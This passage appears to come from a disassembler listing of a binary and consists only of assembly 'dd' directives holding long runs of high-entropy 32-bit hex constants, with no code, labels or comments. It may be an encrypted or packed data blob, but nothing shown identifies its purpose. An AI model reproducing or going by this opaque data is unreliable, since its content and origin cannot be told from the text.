		dd 5703C777h, 65D87AE1h, 5BB16D39h, 0F21E0FF6h,	530B894Fh
		dd 0FF98FDF0h, 0B7E8EA20h, 0AA24302h, 27AE2904h, 0E19F3AB4h
		dd 2B2FDD68h, 0E790CCh,	8716FC15h, 56D2F7D6h, 78696812h
		dd 615E6232h, 0C1893C5Ah, 0A968A0A2h, 0E674D175h, 0CF04015Ah
		dd 0F12D0D7h, 1FE7EF40h, 9261B571h, 0E4BA5DA6h,	0C16F21D5h
		dd 8B7405E7h, 284C02EFh, 2DE923E3h, 0B8055B70h,	6C3572B3h
		dd 3B2ECA1h, 0B5D3A06Eh, 0F599A8AAh, 10779652h,	5191CE9h
		dd 8E1B7705h, 7EC1FDC2h, 5FAF0021h, 0C8310B14h,	0E91D319Dh
		dd 352B8E21h, 1332AD00h, 39B81603h, 0A3DE13B5h,	6CB29670h
		dd 23CC605h, 0CB6A8189h, 890663BDh, 10C78050h, 5AE96918h
		dd 0A2E0137Dh, 0F5C800Bh, 4E68C8BFh, 60338D62h,	5E819F68h
		dd 14641030h, 0DE1E8C25h, 431B3802h, 0C9600966h, 4196E0EEh
		dd 0E31F489Ch, 2EEE6A8h, 1314B84h, 0C8845C20h, 808EE59Ch
		dd 5EE5815Fh, 0F67F8548h, 28949AF6h, 9A92D331h,	420295E8h
		dd 9D6C51EFh, 809D78F2h, 5B665A59h, 2ACF7A86h, 4888C6F2h
		dd 9C169CE0h, 0E07489B4h, 26B71BE4h, 81AE31D5h,	0EA04A1A2h
		dd 0C3D9A70Bh, 0E1D0AA27h, 0C004B961h, 0F3810694h, 0E578C800h
		dd 0E9D92115h, 1348B275h, 0F0C007B7h, 3540B59Fh, 48E83BD1h
		dd 5295770Ch, 5B5F3B7Eh, 6772AA4Ah, 7D78BA84h, 0FB053281h
		dd 26297B70h, 0BF8812E9h, 0EEEA20DFh, 0E141454Bh, 9D04656Ch
		dd 80345E1Eh, 8326AE19h, 4FF668F9h, 0B1E93E91h,	88B9077Bh
		dd 0F1F874C7h, 0F0E3287Bh, 959EBFE9h, 0B2E6832Bh, 3D6F4796h
		dd 4EE44EAFh, 212C02E4h, 0D8425EF7h, 71519B41h,	5930FC31h
		dd 1663309h, 82408F9h, 502BABADh, 9589B007h, 0E4AFE545h
		dd 9E6F27ABh, 0A2E6DCBAh, 0E8C8E913h, 73305989h, 8FE64A89h
		dd 0DCE90CE8h, 0BC71746h, 38578954h, 0A0A4328Fh, 2033E4D1h
		dd 60400606h, 160B21BDh, 0E22C25E9h, 10A5D112h,	6802D05Fh
		dd 32F40E0Ch, 2A002B56h, 0E9FBAB61h, 22AD6B7Ch,	0FEE4060Eh
		dd 96350013h, 972B183Bh, 3C7A7E00h, 0ED61108h, 17A65ACh
		dd 7F575EDFh, 2858C501h, 95A0F52h, 0D8A83362h, 0CBD0841h
		dd 7E3E160Fh, 8A37B936h, 0DAC9F1F5h, 60995D5Ch,	5FAE04Ah
		dd 0B1928F04h, 21820918h, 2A6DA7Eh, 2E2C058h, 2D6C280h
		dd 0DA30EC05h, 0F977E804h, 5DC2890Eh, 0EDB0D101h, 503EDC2Dh
		dd 0C8298A42h, 71250705h, 0E17764BEh, 0C4EB7C81h, 5E060A3Eh
		dd 344A6051h, 0E74C6DA7h, 30DC3969h, 483485D1h,	0D59D4146h
		dd 0C00BA741h, 9D927BD5h, 6280DEE2h, 4B6F7CC5h,	49C1F15Eh
		dd 0FF51F3E9h, 57DECE20h, 0BBB82DA0h, 6E02DE6Fh, 630EEF0Dh
		dd 2DB856Ch, 4004A800h,	1453FD05h, 0DF896D47h, 3F822925h
		dd 245C46EEh, 9E17262h,	0EA054FF8h, 53CF1A87h, 0A975C80h
		dd 0A062B2F4h, 2491DD88h, 1624D631h, 5E4982ECh,	509D25E1h
		dd 0D6685DE7h, 2539514Eh, 5710C462h, 5266165Fh,	5986E2F9h
		dd 0BB0548ACh, 113B22EBh, 0C6A077C5h, 59450904h, 1772CB68h
		dd 30C3C59Fh, 0C009B372h, 31AEB48h, 885035F3h, 77C692D8h
		dd 0F030B830h, 839414F0h, 822F1E70h, 3FA7B741h,	39853894h
		dd 0C8259A5h, 6A576D9Dh, 7BFC6841h, 285CC088h, 4B94D021h
		dd 442852ABh, 0BB9EC42h, 0BF310250h, 65CC7E28h,	2F84E85Ah
		dd 6ADE7929h, 5B21A813h, 7892B257h, 0E60F4727h,	940BC2Eh
		dd 8F5B13ABh, 65972AA8h, 0A0DB2509h, 5DCB071Ah,	4EE16800h
		dd 9907062h, 3B13C904h,	8CC04F2Dh, 4A41DCA5h, 0ECA612E0h
		dd 89715862h, 88DADED2h, 890E9BCAh, 0C253EBF7h,	0ED39D500h
		dd 0ECBF555Bh, 0B3E9A0A7h, 941AB7BFh, 7500DD50h, 5066746h
		dd 21A2822h, 6E932D5Dh,	0B7626381h, 2B1C8B4Ah, 15C576EDh
		dd 3BA917E9h, 0D1262A56h, 92BFFDBCh, 8AB20B0Dh,	0B795A44Eh
		dd 0BB394B4Fh, 0B994403Bh, 78852283h, 63BA15F4h, 0C62085AEh
		dd 0C15A0F1Dh, 0F12506E3h, 0F912007h, 0D5B0EC75h, 0D1D8FA31h
		dd 0B31702C5h, 17039C8Ch, 7021A0CBh, 0ADC3B01Bh, 2B013737h
		dd 3F74C30Ch, 40408992h, 0E825E949h, 0A9191A3Dh, 1374EF7Fh
		dd 880ED15Ch, 0DD7F8846h, 97672D9Ah, 21B8168Dh,	1781921h
		dd 44F02116h, 0BCAA6807h, 0AFCE5F72h, 96BA5210h, 8B32C50Ah
		dd 56666881h, 0E62675D2h, 7249F58h, 68BA006Dh, 66E9889Bh
		dd 34930C95h, 301A4EC8h, 9277806Ah, 0A5E94216h,	30012248h
		dd 0AF434582h, 7E5F48h,	7D9878D2h, 0C4728368h, 1848C88Dh
		dd 0B06C22Eh, 21EA09BCh, 485ACB49h, 89E9A0EFh, 25BDF5Dh
		dd 1ABD22Eh, 783D6368h,	0FBFDC58Ch, 9FEE30EBh, 9008848h
		dd 215FF931h, 5FBCE9C8h, 0A611750Ah, 1C817C7Dh,	1DA4C01h
		dd 3D300388h, 1D8A805h,	39D980FDh, 933A643Eh, 5E64BFFBh
		dd 0F41537BAh, 8E86F8F4h, 1020444h, 215BB4BCh, 143B7FBBh
		dd 55538105h, 5F00D0ACh, 0BEBD2925h, 37164B13h,	72C5B4E9h
		dd 165091ACh, 0C1FB801h, 32B373C4h, 0D40BB10Ch,	0E51F103h
		dd 7D1D56EDh, 5A847AA5h, 30B0A029h, 187D10E2h, 5F595714h
		dd 0C5E903D9h, 0A9163A1Bh, 8A2E010Ah, 0DEF60246h, 0E069CF0Bh
		dd 0F224E793h, 5BA69076h, 0EB12D015h, 0A2BC1D0Ch, 0D32C2059h
		dd 0E5C14507h, 94CC9403h, 0C415E220h, 3B00FD82h, 1B840FC2h
		dd 7046E4B7h, 4EC90953h, 436142E9h, 8FB1F058h, 0ACF18019h
		dd 0A1003206h, 68B7CB28h, 4A75E9CAh, 8500A223h,	91AC1F66h
		dd 0D59159F2h, 32BC2050h, 0E30B97B3h, 428E5E51h, 61625358h
		dd 0D2F7FA23h, 0E0A617F5h, 0C1975C62h, 883A53B9h, 75905887h
		dd 59138B9Fh, 0E39BEB7Bh, 815C0D34h, 44ADA484h,	30DE303h
		dd 0F3B06CE0h, 522464F1h, 13007706h, 1BD4D99h, 233297DDh
		dd 79E49440h, 31A3E26h,	0DD300818h, 7D860467h, 0AE1045E9h
		dd 44D3D15Dh, 0E1D106C1h, 0A82DD888h, 0A3CF050Eh, 250180C0h
		dd 43CA39E2h, 5896007Fh, 0FA5F5538h, 50074C0Fh,	43C6B81h
		dd 72033F0Bh, 755E5A08h, 8C05939Fh, 0EBE59847h,	2C57CC0Fh
		dd 35526421h, 0C0DC5DAFh, 816AD63Dh, 603C7DE5h,	0B95D7A48h
		dd 0EC5A2708h, 0FED779AAh, 58BB92B8h, 2B50F95Bh, 0F93816E8h
		dd 49DE0937h, 0BA049D6h, 3526D5B6h, 0D397021Fh,	704D1449h
		dd 1FD5B3E9h, 0AC940957h, 45CFEA5Eh, 58D82C4Bh,	1C6FBA40h
		dd 9C80C2FEh, 9DEAC101h, 6A506268h, 3136EF99h, 0DCDB35Ah
		dd 16516FE9h, 6965B94Bh, 8AAFA258h, 52A7DD10h, 2205EC5h
		dd 797868ABh, 521FF2D9h, 2080CF97h, 0B7FF7BFh, 0E7C16509h
		dd 0D354B702h, 533A07Fh, 3159CD81h, 0C586DF2Ch,	29F3308Eh
		dd 3A0D68BFh, 5C36300Ah, 5927971Ch, 0D7E98D09h,	41E35E42h
		dd 0EC6BE1EAh, 0D6AA3EBEh, 0EB9F8870h, 0F357B893h, 0DBE91B4Dh
		dd 8C4F7DFEh, 13E2C180h, 4FBDFC0Ah, 3AEFD0F4h, 0F5E0822h
		dd 0FB417390h, 146AEBADh, 99206289h, 5DE8291Eh,	2C35DD3Dh
		dd 87280731h, 197FED0Bh, 0F3C6C864h, 71A11D01h,	60D81624h
		dd 4A422DA4h, 65148F25h, 0EA52B7C5h, 96DF08BFh,	93D15B14h
		dd 0E9092BCFh, 7E24CB9Fh, 157CC1F5h, 0FE38ED4Fh, 3F82CAAFh
		dd 8180650Bh, 560F4C94h
		dd 10C0D176h, 93B9EBF5h, 1D419731h, 14006E1Fh, 0E32FF2BAh
		dd 0CA810277h, 0F6C22B0h, 0E2056258h, 6E33507Ah, 0D30E970Eh
		dd 0D3890103h, 5BF0245Ah, 800F170Ah, 42ACBF8Ah,	0BA59810Eh
		dd 1DCB6433h, 0D1DC04ABh, 0D0E25ADFh, 0FAE967Bh, 5C64226Eh
		dd 2D3FC046h, 2F2E3D7Ch, 31267129h, 0BD75EE00h,	0B7A8E962h
		dd 0CAB11B80h, 4773C980h, 487BE13Bh, 3EE748FFh,	73C10705h
		dd 0F3A2CA28h, 0E02EEB47h, 35DC06FAh, 0FA786826h, 42BDB030h
		dd 4B162858h, 678A13EFh, 0F31D00F6h, 91FCF07Bh,	0CEE9E8C2h
		dd 0B5197D33h, 0C1DB5004h, 79B607EFh, 8401DC97h, 28ED6813h
		dd 7DC1CE6Ch, 9C398D61h, 8E0212F4h, 5848E949h, 608CA237h
		dd 4425F42h, 215E3E2Fh,	2129EBF8h, 5240446Fh, 2625FD17h
		dd 0FD093128h, 27985208h, 3551D7CFh, 0F0955A6h,	7BC2FC2Ah
		dd 0C4F7274Fh, 0BF575200h, 3FFB3CCCh, 0FA008EB8h, 5506FF2Ah
		dd 97110CE9h, 2BC99BA2h, 0A4685602h, 121342Ah, 68E30F2h
		dd 3E5B2C80h, 0F674F828h, 8770B498h, 6742E4F1h,	69EBB70Bh
		dd 48BB91DCh, 5C991309h, 74C9208h, 8B75EF80h, 2739A774h
		dd 30BD6D5Dh, 8150570Ch, 28C792C1h, 81203C9Ch, 0F3FC4AE6h
		dd 0C9711774h, 58C7EB44h, 0D21332EEh, 82267D2h,	58EA0495h
		dd 0C0306B29h, 7B6EE357h, 42180263h, 413CDA95h,	53A7D31Bh
		dd 67F67EC2h, 0DA2C545Ch, 99660233h, 0D0F7585Bh, 4B574AC0h
		dd 628C2E27h, 5C6A0B46h, 0C59A428h, 0C3A1CFCCh,	3A277A98h
		dd 5108700Eh, 267808EBh, 755259A2h, 2455C927h, 12AF0590h
		dd 1D9D00F2h, 314BFF0Ch, 1095D54Ch, 0D75BBBE6h,	6BF497C7h
		dd 7527475Ah, 0C01A3A94h, 80466D74h, 141E27B9h,	0BB9763EAh
		dd 57590382h, 5390BD14h, 5A8ED4B8h, 4A11BB01h, 0F3313E30h
		dd 29C67862h, 0AC914C5Ch, 56000FA1h, 0C50CB2BEh, 0F0349840h
		dd 44FC1801h, 1F7F0E46h, 81383124h, 662FC520h, 4F6E8421h
		dd 0B0A7F483h, 77E918F7h, 0ADBECE83h, 0BD05FC9h, 73DBBB01h
		dd 0FB29972Ch, 76FA366Bh, 6805400Ah, 6E07FE76h,	808B0B67h
		dd 5D6DF65Bh, 40BDA270h, 95C25AF6h, 1F880ED9h, 44810C28h
		dd 4106E7D8h, 4C014E51h, 46E91610h, 0E79BEC36h,	0BF9251E4h
		dd 45FFDC50h, 26FAF85Fh, 48066B1h, 0C5C3413h, 5C9FE8BEh
		dd 0FE03D708h, 3C78E9C9h, 0DFC37F03h, 0DB543B13h, 8AB9F595h
		dd 5BC3CA5Fh, 285B9BA6h, 0E9175861h, 0D0A3F91Dh, 4EDA6E14h
		dd 0A25BDF1Ah, 1D799B03h, 0CE8115A0h, 0DD45E90Eh, 0D9BA8670h
		dd 71DB4881h, 33F22504h, 0D888AE51h, 9D99E2E9h,	0BB61723Ah
		dd 46BE00A9h, 248075Ah,	25DEF74Eh, 56CD00D6h, 0C1159064h
		dd 0AD9ED190h, 79F6B960h, 817B3F94h, 0F75301B1h, 8FA882D1h
		dd 7649BAF1h, 0C06D1756h, 4C08392h, 0BD1B1095h,	4D3E2C71h
		dd 0E9D502B4h, 73FEAE82h, 5CA8415Ah, 0DD56B388h, 44E95916h
		dd 2FF6E8D9h, 0AF5BF60Eh, 376862DBh, 5310DD78h,	0D34E30CFh
		dd 124F018Bh, 4014F8F0h, 5C9E068Ch, 0FB284983h,	20EE653h
		dd 3FAC898Ch, 0EF1D501h, 5CEB0581h, 97216A12h, 48DE2DC4h
		dd 7907937Ch, 6051E630h, 2A7BA6F7h, 0E7486F7Ch,	3EEC181Fh
		dd 0E7997724h, 39125EDEh, 892DE881h, 3A17DC68h,	364129CBh
		dd 0C435123Ah, 0AE28AE15h, 0E2020E9h, 0E1F75B4Fh, 0A8BFE9C4h
		dd 0BE44B4Eh, 53542C5h,	0B2748AA5h, 4DF4DA01h, 0CD7123C6h
		dd 0EBE2C684h, 4C63AE21h, 0AC7EDD1h, 9806065Ch,	6BD400DBh
		dd 0CF298221h, 0FB0B8959h, 0A7AF14E9h, 0C3E5CBDAh, 0C2C28D1Fh
		dd 0DE552F71h, 7E70A45h, 6CFC0498h, 0C17E8719h,	0E2946EA7h
		dd 0B8B4455h, 1E98306h,	541ED100h, 2D0E6374h, 0A91B2BA3h
		dd 0F4E20929h, 587625E5h, 252BC46Bh, 9EE173E9h,	617C6109h
		dd 6FCDE966h, 8312AC94h, 61D156AAh, 25FD2915h, 0E6406056h
		dd 0FBB2140h, 48C86D20h, 0AAB89E45h, 4B686228h,	6050F4E7h
		dd 26A3C85Dh, 0D90D61E2h, 35F97729h, 5E24016Eh,	3B02C183h
		dd 3DFCB952h, 55320886h, 0BFA2E720h, 8BF6E58Bh,	95A316CBh
		dd 0E6A02496h, 51009AD7h, 3A5F3F7h, 0B0553862h,	0C4924D5Bh
		dd 689D024Ah, 0EED44E65h, 6D09E760h, 0B6E92530h, 0FE01C505h
		dd 8A68772Dh, 0B7FDFC2Ah, 12E57ECh, 5308DEFBh, 478F0795h
		dd 3D6F8240h, 5A12DF59h, 7F2569BEh, 0DC21912Dh,	802905E6h
		dd 0F58145DCh, 5E68280Fh, 0A9ECEBDEh, 4BB1D4A8h, 0D94B1359h
		dd 0B5344BFCh, 7129A2D6h, 95A0802Eh, 784C195Ch,	5817EC7h
		dd 4F5A3020h, 8CBD9114h, 0C780002Bh, 0FE8801A6h, 0B753665Bh
		dd 8BD02ECEh, 702C9A04h, 0E8F076FCh, 0C75C2CE9h, 53D78001h
		dd 0C1354DBBh, 547DF89Fh, 0EF32DCAAh, 0C9290E5h, 0BFD4CD5Dh
		dd 46AA12ECh, 0AFDCB0B9h, 0E09CEF1h, 6908DC90h,	0CB50EF6h
		dd 0B91553EEh, 61AC9398h, 500C29B2h, 588F40E6h,	0EAA1D0F4h
		dd 0E918DA54h, 2812B41Ch, 295C09FFh, 0C4001BF0h, 0F40FDFB8h
		dd 0BCA0979Ah, 64B617C6h, 0A5FAD1E9h, 0E985EE51h, 0B2414055h
		dd 0D5883EC2h, 179CB46Dh, 8500B9E8h, 62AC5411h,	7CBD88CDh
		dd 0BF01A4FDh, 48AE1935h, 74C2E3F0h, 0E93E274Ch, 0D95B8369h
		dd 592F9237h, 147466D1h, 2A685200h, 924C699Dh, 975D2128h
		dd 3528E9F1h, 0A9226B55h, 8A70A01h, 2D00DB48h, 0B1C8CC37h
		dd 5490F655h, 78EEE8F7h, 0A21A545Dh, 82679F5Eh,	8DC13E0Ch
		dd 0B2D51EEBh, 0D0983D54h, 52AC16F2h, 807831F4h, 0EAC0990Eh
		dd 0D7EEDC08h, 18E9D005h, 256A69D6h, 67134719h,	3EBD43F1h
		dd 4E6827C8h, 324F64A2h, 86E15DAEh, 0A08E6CEAh,	9802C283h
		dd 30F140A6h, 0DA5FC377h, 0E55CA90Ah, 8EAB43h, 0ED814D20h
		dd 0B560E3FEh, 2B5F65F8h, 2C7C108Ah, 44011130h,	2407FDEFh
		dd 84034A58h, 508A755h,	0C7B1A21Ah, 5C990CFh, 7094171h
		dd 502BE913h, 80D14EFCh, 7638B778h, 95F70095h, 973E12D0h
		dd 0E73BDC02h, 6286760Bh, 50FE58C5h, 4FA8A945h,	1362B24Eh
		dd 0CFE60C05h, 4B169F4Eh, 690CF7D8h, 8D2F52B7h,	51370ED6h
		dd 4670012Bh, 55195004h, 0AB0EED1h, 1DB40136h, 5EF5093Dh
		dd 49C03B4Dh, 2EA27FEDh, 2A5EE86Eh, 3508B3A7h, 1E74F407h
		dd 718CC34Eh, 888D4EE1h, 63B2FA9Bh, 32E68103h, 0DA230541h
		dd 0F78EA6E5h, 0F9A29FFAh, 0B135Fh, 0B908C14Ch,	96DAA105h
		dd 42C4B962h, 420B12D1h, 0B5CBC0C3h, 27C1B021h,	9CEC4A23h
		dd 512E352Fh, 0B8E697F5h, 628B5E89h, 301FCF5Eh,	99E90C83h
		dd 989B9D4Eh, 0AD54F93Eh, 0FE650B72h, 495B4599h, 60655986h
		dd 7AE17E8Bh, 43DD0076h, 0CE816CF5h, 53065B9Fh,	0D8BCE910h
		dd 0EB629F41h, 3A856491h, 80E74017h, 124B3420h,	8A0BD0E6h
		dd 27D67438h, 17085825h, 850D0261h, 4ACCE814h, 3211D7A0h
		dd 24CA7DFCh, 26DC147Dh, 441AF556h, 4C39A302h, 902720EAh
		dd 66FA2679h, 9F006FB0h, 58444A17h, 535EEF98h, 0BD79BE2h
		dd 6B5450F5h, 0D7D06E16h, 2716334Fh, 12205F75h,	39DC08F3h
		dd 578299B6h, 7E286E2Dh, 61E98B2Ch, 2D5430A5h, 7EA22EBBh
		dd 2E4020CBh, 0F0955958h, 0C5094F1Dh, 0BA61FBE2h, 0E13DC616h
		dd 12ADEA03h, 0A4E71A6Ch, 9BFA33Ah, 540CE8C1h, 0DD0A09CBh
		dd 64F71F4h, 31093AFh, 0FDB0B5Ch, 3F0A1085h, 8745D468h
		dd 2097006Bh, 823F10E9h, 2B2802D5h, 0A75D4539h,	0F00B2D24h
		dd 450F05CEh, 44528A53h, 9BDC3D02h, 2D7ABE24h, 388E6941h
		dd 6BB9039Dh, 0D3033B2Fh
		dd 77A99CD5h, 0A10DEF0Eh, 260EF9B7h, 808BFE69h,	2C7F04C6h
		dd 0F74E9BECh, 38ED05Ah, 98B86650h, 0B4BBA037h,	4478F108h
		dd 4713E916h, 73504C3h,	0D30BAEC2h, 8D3E0206h, 441D4A98h
		dd 5A80D530h, 0E959EB08h, 0A03454E8h, 1246438Eh, 58E238BAh
		dd 510DD206h, 0FA090C42h, 0DE137014h, 1808A0DBh, 334B94E9h
		dd 5C1DBBF5h, 0ED935355h, 0C57AEBF5h, 0E5051CBCh, 0D46BC5DCh
		dd 830420BBh, 0EC16C4FBh, 575CC72Dh, 5760ADDDh,	5DFE78E7h
		dd 680A8B7Fh, 405F7BCFh, 3BDB54EAh, 87F2015Fh, 0FC826817h
		dd 0ABADD731h, 0FC2D325h, 64AF9776h, 21BF3C97h,	0FA16B898h
		dd 0E2210B33h, 6008200Dh, 6A581E5Fh, 0F6FF3234h, 0C9280808h
		dd 95C37220h, 29C036Eh,	768D0E49h, 648F4490h, 336E7BCAh
		dd 411620F6h, 2AB691B1h, 680B3AB2h, 29C65ED9h, 9250505h
		dd 56FB297Fh, 63EB80EFh, 7E7CC958h, 0A92CD283h,	4D29040Ah
		dd 9D6A9F9h, 0DA58BA8Ah, 84E1AC48h, 0B905E42Fh,	0D6FA109Ch
		dd 0F2157C34h, 0B21693B7h, 52C54CECh, 853840Eh,	0B7023FE3h
		dd 55F4B0C2h, 81FE0984h, 0C462F9h, 52C7C2Dh, 0D8290771h
		dd 2F071F05h, 565752E8h, 0C2A4E925h, 927D76FAh,	2A06B119h
		dd 2148F8CBh, 0C9EF0A16h, 8E217AF1h, 0D86A2A2Bh, 320525A5h
		dd 0D1F70C96h, 90201EAAh, 295A1D47h, 0E3F216FCh, 0E6FDDFA5h
		dd 3A66B525h, 77028B92h, 0E2A191B8h, 10FE7C66h,	646089E1h
		dd 0CCBB53D9h, 3A185B1Bh, 6569AF10h, 2F322C8h, 60D768E5h
		dd 6872D58h, 5C69A259h,	14DD1692h, 16A9AB62h, 4A92E9D8h
		dd 0EF34587Fh, 0F5CF9FE5h, 16F7FA72h, 606E07C9h, 0F9E944A4h
		dd 334000E2h, 98BD1425h, 0BD576850h, 0E9138A66h, 6B8D417Dh
		dd 9FDC7AE4h, 43928FC8h, 0BD74FE00h, 0C820A44Bh, 0EFD5A29h
		dd 0F0C05D0Fh, 2260B92Dh, 0E9435361h, 753BEBCFh, 0C1AE026Dh
		dd 0CC0E9434h, 28DD8527h, 20EA015Bh, 0DBA0D675h, 81829474h
		dd 53638B5h, 766C5DADh,	2A35D095h, 0BDDCA4C3h, 8FBF1AC0h
		dd 5E205F81h, 0E5328F2h, 724CBFF4h, 1E4A609Fh, 0F3318009h
		dd 8D6DEE4h, 4B6B1300h,	1643383Dh, 0D0BFC1E9h, 26EFF05Ah
		dd 829801E6h, 0F840E74Bh, 1F58E6EEh, 3052B607h,	0D6F70506h
		dd 9A5574Ah, 0F5201FDDh, 6C2F057Fh, 9079E977h, 2661BAB2h
		dd 0F72DEA02h, 61E2C1DAh, 0A35097D6h, 3D7F22BFh, 701816F3h
		dd 0CEC67343h, 0A796C01Eh, 9EC42AD7h, 0C7963FEDh, 8977F4B9h
		dd 83C608Fh, 0C55C309h,	12D9DB21h, 0ACEA845Fh, 0CB8112A3h
		dd 4A480AFBh, 3F0C3388h, 9202FAB4h, 5D02C583h, 95573322h
		dd 21041744h, 920E24Eh,	0EC366CACh, 3D0B1CB1h, 40603705h
		dd 0A8CA9D6Ah, 3FC4E1ABh, 307B4D2Dh, 0D0BF0704h, 0C67A895Ah
		dd 2A8AB335h, 580A72EAh, 9F3F1457h, 53B41763h, 1E9EB20Ah
		dd 15347700h, 18C02D44h, 967F9411h, 0F400789Ah,	25F78137h
		dd 9834535Eh, 23433D42h, 0C82DE0CFh, 3E5E80F2h,	3B83236h
		dd 63A97F4Ch, 1EBED141h, 37940F09h, 0C24FD00Bh,	0B5154B54h
		dd 4200DCF8h, 290D2E63h, 49C0E9D7h, 829393AFh, 0C0D6A2BDh
		dd 27788710h, 0E9203063h, 75A90B4Ch, 839EE0F6h,	79606A27h
		dd 44774A37h, 8139BB56h, 0B8930328h, 17884A52h,	14449D5Bh
		dd 3C20DC90h, 985D50A7h, 0C0DC13FAh, 0F13CA0BEh, 43BA00EBh
		dd 11910F1Ch, 8F84FA87h, 0F839AE06h, 8885742h, 7C37008Fh
		dd 0F931E894h, 8A3DB97h, 9A30AC14h, 5FDD33F2h, 5123457Dh
		dd 0D94CF4D5h, 929C329Dh, 8EE55F04h, 0C43EE906h, 4AEB1C7Bh
		dd 0EC5F1245h, 0B61E2672h, 7CD20FC2h, 8D68405Ah, 767D805Ah
		dd 97D6FC5Ah, 65601774h, 0F7434A9Eh, 0A2A72707h, 0A6A02B53h
		dd 0EB0158C5h, 5051189Eh, 4179A560h, 58413C95h,	0B089864Bh
		dd 43CE07AFh, 0B56A0241h, 584FF14Bh, 587DC786h,	0DBD2C22Dh
		dd 86ED2D87h, 0B1516602h, 0AF73E1F5h, 3EA6781h,	60756748h
		dd 5F0F1D9Eh, 9A294BBCh, 1C080D1Ch, 485D1403h, 184FBB2h
		dd 0F6252A9h, 41ED2EBh,	0AC910CC1h, 1075A8A7h, 0F62D865Eh
		dd 1320EE26h, 4E0EB8C7h, 0E8896571h, 0E128B531h, 57C7834Bh
		dd 0F5DBF4CFh, 210C3BB1h, 2F68E08Dh, 6F242DBCh,	5F09F6h
		dd 96E8523h, 0FCE4B012h, 0A50C168Eh, 9CEE1A04h,	4F51080Bh
		dd 0ECC0E964h, 316802E1h, 0B25F403Fh, 95E03C4h,	7E67E450h
		dd 50C1FD06h, 4C570882h, 4951B316h, 7FA98989h, 2CA688D1h
		dd 67387302h, 4228751Bh, 0E25A1308h, 0AD45963Eh, 63B1E1F7h
		dd 196BF6Dh, 0E9555278h, 0DC017A69h, 8E7C14Fh, 1D045F20h
		dd 93946AF0h, 10A1F2EDh, 0AC64EB52h, 7618170h, 395F3001h
		dd 83A2335Eh, 73D30C9Ah, 70D0208h, 22CF8957h, 0ABD65FFEh
		dd 3D038DA6h, 9C1C6146h, 8A9D2C0h, 25090044h, 22BC6511h
		dd 0D101D8F7h, 6DD90DE0h, 0FF71464Ch, 685800DAh, 0A1A85B25h
		dd 0A79426BFh, 2F4D44EBh, 7D4792D9h, 693ED92Fh,	365AF27Ah
		dd 55BC800h, 7E22AAh, 16172D2Ah, 0C8012065h, 0C40745F9h
		dd 49AE9DDh, 484C71CFh,	0C0F70F80h, 398E0B57h, 6E5A21E9h
		dd 172CEB38h, 0A3E93BFCh, 0C53F0841h, 0B266ACE0h, 0BF807551h
		dd 693B68F6h, 0F73E4AB8h, 511B273Eh, 7E7019Bh, 2CE5E947h
		dd 0F8BD0124h, 31CB7EC8h, 0FD00F52Bh, 5E786C61h, 38C84884h
		dd 5A9FB232h, 55064420h, 3521AF84h, 0EA8B5B54h,	0EFD2EC5Dh
		dd 5A25C698h, 0DE85E20Ah, 350733B3h, 203DF5F1h,	5849C340h
		dd 16E98211h, 86455D0Bh, 59AD3A7h, 0AE2F74E9h, 0DE71ED29h
		dd 6DE90120h, 6A46A503h, 0CCBFD0D7h, 98CABBDCh,	3BD24138h
		dd 0FAEDFE81h, 421B6800h, 0D808FF9Bh, 0EB8006B9h, 27070661h
		dd 0B551C328h, 59DF1E5Eh, 0CD1D65BCh, 71E75BC2h, 6F8A8A0Fh
		dd 9509629h, 0AE704305h, 8365ADEAh, 59F92D0Ah, 0A2045A3Bh
		dd 0EF263553h, 7C076110h, 557020BFh, 276D1BDh, 0DDF74764h
		dd 0E055E5C1h, 3B4A1336h, 0CD0312ADh, 166675EEh, 26DDF5E0h
		dd 24207730h, 50D06F7Eh, 82E0839Ah, 0F4743257h,	0C0C15A1Eh
		dd 119141FFh, 0E115887Eh, 0CD02591h, 5649E827h,	7CF686F0h
		dd 7E200B3Eh, 0CC3131Ah, 0FA05AB1Dh, 8897BBE9h,	2597D67Bh
		dd 5B94E2F4h, 0F9F685F5h, 1B7131BFh, 4F350C74h,	7B5C89D4h
		dd 51B24B6Dh, 51029AECh, 792C6268h, 0BD594540h,	0DE411695h
		dd 76F8D757h, 3F8BE602h, 0C2725547h, 0C6B76474h, 6586F2B7h
		dd 88CBD3E6h, 0F141D783h, 938A420h, 2972E74Dh, 173CBB2Ah
		dd 0BA95806Bh, 642045B1h, 0DBDE123Ch, 0C30F0456h, 69CFBB8Eh
		dd 32F7E45Ah, 8F50E15Dh, 1A84E2A7h, 408C745Fh, 3D256ECFh
		dd 0EF0E7876h, 0D6BDB5FDh, 9018685h, 77CA1318h,	1F230C82h
		dd 7FFC56EAh, 0CD008A0h, 4E645F14h, 60FB8A52h, 3D18E9A7h
		dd 12F66495h, 0A5478C68h, 2DDD3C21h, 357FA05Dh,	0B0272305h
		dd 9DBFB232h, 0C30597C6h, 4DC760D7h, 0EBFE0AFBh, 605F1308h
		dd 2B90E903h, 0DBEB35C0h, 4A5DC86Eh, 40B5F658h,	59955B51h
		dd 0BB14932Eh, 2D689E3Ch, 3BC635F0h, 0F49C60Bh,	0D209045Dh
		dd 0A82634EEh, 1AD6DFBBh, 2357E356h, 5AA417BDh,	32C23B61h
		dd 0A144297Ch, 5A570CE0h, 0AB1A1353h, 3C8B2245h, 9193F2E6h
		dd 28C0E9FCh, 0BF777A1Eh, 0EB48D33h, 4BE28F47h,	80F5D626h
		dd 5999300Dh, 811D424Ah, 5442ABE2h, 0E84CE93Eh,	124F0C12h
		dd 0C3C03B24h, 0A6F1A422h, 1D8A2A21h, 20CF3B3Bh, 4BFA68F0h
		dd 8894599Dh, 812425F9h
		dd 4AD82813h, 0C20B4D82h, 16C62684h, 162DBB14h,	7AF71FBDh
		dd 0D3316609h, 14274C3Bh, 97A570D8h, 115DADB2h,	0BD002CC4h
		dd 522676CDh, 0D0F3557h, 815FC938h, 2D65CF5Bh, 2AF70A87h
		dd 99BCA23h, 87A2F4D3h,	1AD514ECh, 0B2DDCFDh, 84D9A390h
		dd 0C1252A3Ch, 29588194h, 0BC0AD316h, 57E186Dh,	17D8EEDDh
		dd 0B570F419h, 39383F28h, 0E2E34EB6h, 0B4BC4B94h, 485988A4h
		dd 5B00509Eh, 66D32859h, 2D96945Ah, 0FAA50A5Bh,	400FB8D8h
		dd 0F9766B5h, 8048D7h, 3552DCB9h, 2BF68106h, 2D60B0Bh
		dd 8DAE0531h, 0EB01BCE2h, 0B70F0C38h, 0A78D41C0h, 0DCF804CAh
		dd 0E8B04785h, 8A12922Eh, 2D3EDFA1h, 3A88FD0Eh,	909C3E18h
